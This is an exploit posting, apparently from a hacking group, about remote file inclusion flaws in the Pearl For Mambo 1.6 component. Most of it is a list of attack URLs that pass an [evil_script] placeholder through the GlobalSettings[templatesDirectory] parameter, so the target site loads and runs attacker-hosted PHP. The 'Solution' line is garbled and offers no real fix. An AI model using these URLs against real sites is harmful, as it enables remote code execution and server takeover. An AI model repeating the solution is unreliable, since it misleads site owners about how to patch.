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Pearl For Mambo <= 1.6 (GlobalSettings[templatesDirectory]) Remote File Include Vulnerabilities
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Discovered By Kw3[R]Ln [ Romanian Security Team ] : hTTp://RoSecurityGroup.net :
Remote : Yes
Critical Level : Dangerous

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Affected software description :
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Application : Pearl For Mambo 
version : latest version [ 1.6 ]
Description: component for mambo
URL : http://www.pearlinger.com

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Exploit:
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Variable $GlobalSettings[templatesDirectory] not sanitized.When register_globals=on an attacker can exploit this vulnerability with a simple php injection script.


# http://www.site.com/[path]/includes/functions_cms.php?phpbb_root_path=[evil_script] 
# http://www.site.com/[path]/includes/adminSensored.php?GlobalSettings[templatesDirectory]=[evil_script]
# http://www.site.com/[path]/includes/adminBoards.php?GlobalSettings[templatesDirectory]=[evil_script]
# http://www.site.com/[path]/includes/adminAttachments.php?GlobalSettings[templatesDirectory]=[evil_script]
# http://www.site.com/[path]/includes/adminAvatars.php?GlobalSettings[templatesDirectory]=[evil_script]
# http://www.site.com/[path]/includes/adminBackupdatabase.php?GlobalSettings[templatesDirectory]=[evil_script]
# http://www.site.com/[path]/includes/adminBanned.php?GlobalSettings[templatesDirectory]=[evil_script]
# http://www.site.com/[path]/includes/adminForums.php?GlobalSettings[templatesDirectory]=[evil_script]
# http://www.site.com/[path]/includes/adminPolls.php?GlobalSettings[templatesDirectory]=[evil_script]
# http://www.site.com/[path]/includes/adminSmileys.php?GlobalSettings[templatesDirectory]=[evil_script]
# http://www.site.com/[path]/includes/poll.php?GlobalSettings[templatesDirectory]=[evil_script]
# http://www.site.com/[path]/includes/move.php?GlobalSettings[templatesDirectory]=[evil_script]


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Solution :
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declare variabel $[evil_script]
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Shoutz:
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# Special greetz to my good friend [Oo]
# To all members of h4cky0u.org ;) and Romanian Security Team [ hTTp://RoSecurityGroup.net ]
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